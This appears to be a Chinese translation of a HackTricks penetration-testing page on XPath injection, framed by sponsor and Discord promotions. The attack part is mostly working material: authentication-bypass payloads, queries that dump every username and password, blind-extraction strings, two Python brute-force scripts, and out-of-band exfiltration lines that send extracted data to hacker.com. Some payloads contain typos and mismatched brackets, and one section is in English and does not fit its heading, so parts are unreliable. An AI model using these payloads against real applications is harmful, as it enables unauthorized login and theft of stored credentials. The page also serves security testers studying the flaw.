hacktricks/pentesting-web/xpath-injection.md

353 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XPATH注入
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
了解最新的赏金计划发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
## 基本语法
一种称为XPath注入的攻击技术被用来利用根据用户输入形成XPathXML路径语言查询的应用程序来查询或导航XML文档。
### 描述的节点
表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的总结
- **nodename**选择所有名称为“nodename”的节点。
- **/**:从根节点进行选择。
- **//**:选择与当前节点匹配的节点,无论它们在文档中的位置如何。
- **.**:选择当前节点。
- **..**:选择当前节点的父节点。
- **@**:选择属性。
### XPath示例
路径表达式及其结果的示例包括:
- **bookstore**选择所有名称为“bookstore”的节点。
- **/bookstore**选择根元素bookstore。请注意表示元素的绝对路径以斜杠/)开头。
- **bookstore/book**选择bookstore的子元素book。
- **//book**选择文档中的所有book元素无论它们的位置如何。
- **bookstore//book**选择bookstore元素下的所有后代book元素无论它们在bookstore元素下的位置如何。
- **//@lang**选择所有名称为lang的属性。
### 谓词的使用
谓词用于细化选择:
- **/bookstore/book[1]**选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。
- **/bookstore/book[last()]**选择bookstore元素的最后一个book元素子节点。
- **/bookstore/book[last()-1]**选择bookstore元素的倒数第二个book元素子节点。
- **/bookstore/book[position()<3]**选择bookstore元素的前两个book元素子节点
- **//title[@lang]**选择具有lang属性的所有title元素
- **//title[@lang='en']**选择具有值为enlang属性的所有title元素
- **/bookstore/book[price>35.00]**选择价格大于35.00的所有book元素。
- **/bookstore/book[price>35.00]/title**选择价格大于35.00的book元素的bookstore中的所有title元素。
### 未知节点的处理
通配符用于匹配未知节点:
- **\***:匹配任何元素节点。
- **@***:匹配任何属性节点。
- **node()**:匹配任何类型的任何节点。
进一步的示例包括:
- **/bookstore/\***选择bookstore元素的所有子元素节点。
- **//\***:选择文档中的所有元素。
- **//title[@\*]**选择具有至少一个任意类型属性的所有title元素。
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### 访问信息
XPath注入是一种利用应用程序中的XPath表达式来访问或修改数据的攻击技术。攻击者可以通过构造恶意的XPath表达式来绕过身份验证、访问敏感数据或执行其他恶意操作。XPath注入通常发生在搜索表单或过滤器等用户可控输入的地方。要防止XPath注入应该使用参数化查询或编码输入数据。
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### 识别和窃取模式
- 使用错误的XPath查询来识别数据库架构
- 通过逐步调整查询来窃取数据
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## 身份验证绕过
### **查询示例:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **用户和密码中的OR绕过两者的值相同**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **滥用空值注入**
```
Username: ' or 1]%00
```
### **用户名或密码中的双重OR**(仅在一个易受攻击的字段中有效)
重要提示:请注意**“and”是首先执行的操作**。
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## 字符串提取
输出包含字符串,用户可以操纵这些值进行搜索:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## 盲目利用
### **获取值的长度并通过比较提取它:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Python 示例**
```python
import requests
url = "http://example.com/login"
payload = "' or '1'='1'--"
data = {"username": payload, "password": "password", "submit": "submit"}
response = requests.post(url, data=data)
print(response.text)
```
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### 读取文件
1. **Payload**:
```plaintext
' or '1'='1
```
2. **Request**:
```http
GET /product?category=' or '1'='1 HTTP/1.1
Host: vulnerable-website.com
```
3. **Analysis**:
- The payload `' or '1'='1` will make the XPath query always return true, allowing the attacker to read the entire file.
4. **Recommendation**:
- Sanitize user input and use parameterized XPath queries to prevent XPath injection.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB利用
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### 自动化工具
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## 参考资料
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
**最新公告**\
了解最新启动的赏金任务和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>